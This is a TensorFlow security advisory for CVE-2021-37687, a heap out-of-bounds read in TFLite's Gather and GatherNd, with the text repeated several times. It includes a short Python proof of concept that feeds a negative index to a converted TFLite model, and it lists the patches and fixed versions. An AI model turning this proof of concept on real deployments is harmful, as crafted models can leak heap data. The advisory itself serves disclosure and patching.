CVE-2021-37687

TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices. Similar issue exists in Gather implementation. We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices. Similar issue exists in Gather implementation. We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

Impact

TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation.

Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices.

Similar issue exists in Gather implementation.

import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()

params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())

out = tf.gather(params, indices, name='out')

with tf.compat.v1.Session() as sess:
   converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
   tflite_model = converter.convert()

interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()

input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()

params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0]['index'], params_data)
interpreter.set_tensor(input_details[1]['index'], indices_data)

interpreter.invoke()

Patches

We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security.

TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices. Similar issue exists in Gather implementation. We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices. Similar issue exists in Gather implementation. We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

Impact

TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation.

Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices.

Similar issue exists in Gather implementation.

import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()

params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())

out = tf.gather(params, indices, name='out')

with tf.compat.v1.Session() as sess:
   converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
   tflite_model = converter.convert()

interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()

input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()

params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0]['index'], params_data)
interpreter.set_tensor(input_details[1]['index'], indices_data)

interpreter.invoke()

Patches

We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security.